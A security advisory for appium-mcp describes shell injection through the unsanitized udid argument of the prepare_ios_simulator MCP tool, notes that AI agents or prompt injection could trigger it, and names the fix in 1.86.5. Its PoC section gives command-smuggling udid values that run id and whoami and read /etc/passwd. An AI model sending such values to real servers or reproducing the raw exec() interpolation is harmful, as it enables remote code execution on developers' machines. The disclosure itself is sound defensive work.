GHSA-PCHR-RP2X-W3VW
Shell Injection via unsanitized `udid` parameter in `prepare_ios_simulator` MCP tool
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 1.86.5 | appium-mcp · -1 d desde divulgación | |
| Divulgación | Publicada | GHSA-PCHR-RP2X-W3VW divulgada · CVSS 7.5 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
## Summary
The `prepare_ios_simulator` tool in `appium-mcp` passes the user-supplied udid parameter directly into shell commands via Node.js `exec()` without any sanitization. An attacker with access to the MCP server can inject arbitrary shell commands and achieve RCE on the host machine.
## Details
File: `src/tools/ios/prepare-ios-simulator.ts`
The udid field is declared as `z.string()` with no format constraint, and is interpolated raw into four separate `exec()` calls via template literals:
// Line 121
await execAsync(`xcrun simctl install "${simulatorUdid}" "${appPath}"`);
// Line 128
await execAsync(`xcrun simctl launch "${simulatorUdid}" "${bundleId}"`);
// Line 146
await execAsync(`xcrun simctl listapps "${simulatorUdid}" --json`);
// Line 170
await execAsync(`xcrun simctl spawn "${simulatorUdid}" launchctl list`);Node.js `exec()` spawns `/bin/sh -c <string>`. The double-quote wrapping is trivially bypassed by closing the quote within the input. All four call sites are vulnerable.
The tool is registered unconditionally in `src/tools/index.ts` ( line 137 ) and exposed to any connected MCP client.
## PoC
Malicious MCP tool call:
{
"tool": "prepare_ios_simulator",
"arguments": {
"udid": "x\" && <arbitrary command> && echo \"x",
"skipWda": true
}
}Test results on isolated server ( all 4 injection paths confirmed ):
Test 1 - `listapps` path ( `getWDAState` ):
Input : x" && id > /tmp/poc_test1.txt && echo "x
Result: uid=1000(user) gid=1000(user) groups=1000(user)Test 2 - `install` path ( `installAppOnSimulator` ):
Input : x" && whoami >> /tmp/poc_test2.txt && hostname >> /tmp/poc_test2.txt && echo "x
Result: user / ..Test 3 - `spawn` path ( `getWDAState` running check ) - arbitrary file read:
Input : x" && cat /etc/passwd > /tmp/poc_test3.txt && echo "x
Result: root:x:0:0:root:/root:/usr/bin/zshTest 4 - End-to-end simulation ( exact code flow from `prepare_ios_simulator` ):
Input : FAKE-UDID" && printf "[RCE PROOF]\nUID=%s\nPWD=%s\n" "$(id)" "$(pwd)" > /tmp/poc_final.txt && echo "DONE
Output written to /tmp/poc_final.txt:
[RCE PROOF]
UID=uid=1000(user) gid=1000(user) groups=1000(user)
PWD=.../appium-mcpAll commands executed successfully. No authentication, no privilege escalation needed - the process runs as whatever user launched the MCP server.
## Impact
Any MCP client connected to an appium-mcp server can execute arbitrary OS commands on the host machine with the privileges of the MCP server process. On a developer machine, this typically means full user-level access to the filesystem, SSH keys, credentials, and browser sessions.
Attack surface: MCP is designed to be called by AI agents. A malicious or compromised agent, or a prompt injection attack via the tested app's UI, can trigger this tool with a crafted udid.
## Fix:
### The patch was released in v1.86.5
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmappium-mcp |
Corregida | 1.86.5 | -1 d | 1.99.3 no afectada |
1.86.5Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/appium/appium-mcp/security/advisories/GHSA-pchr-rp2x-w3vwLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
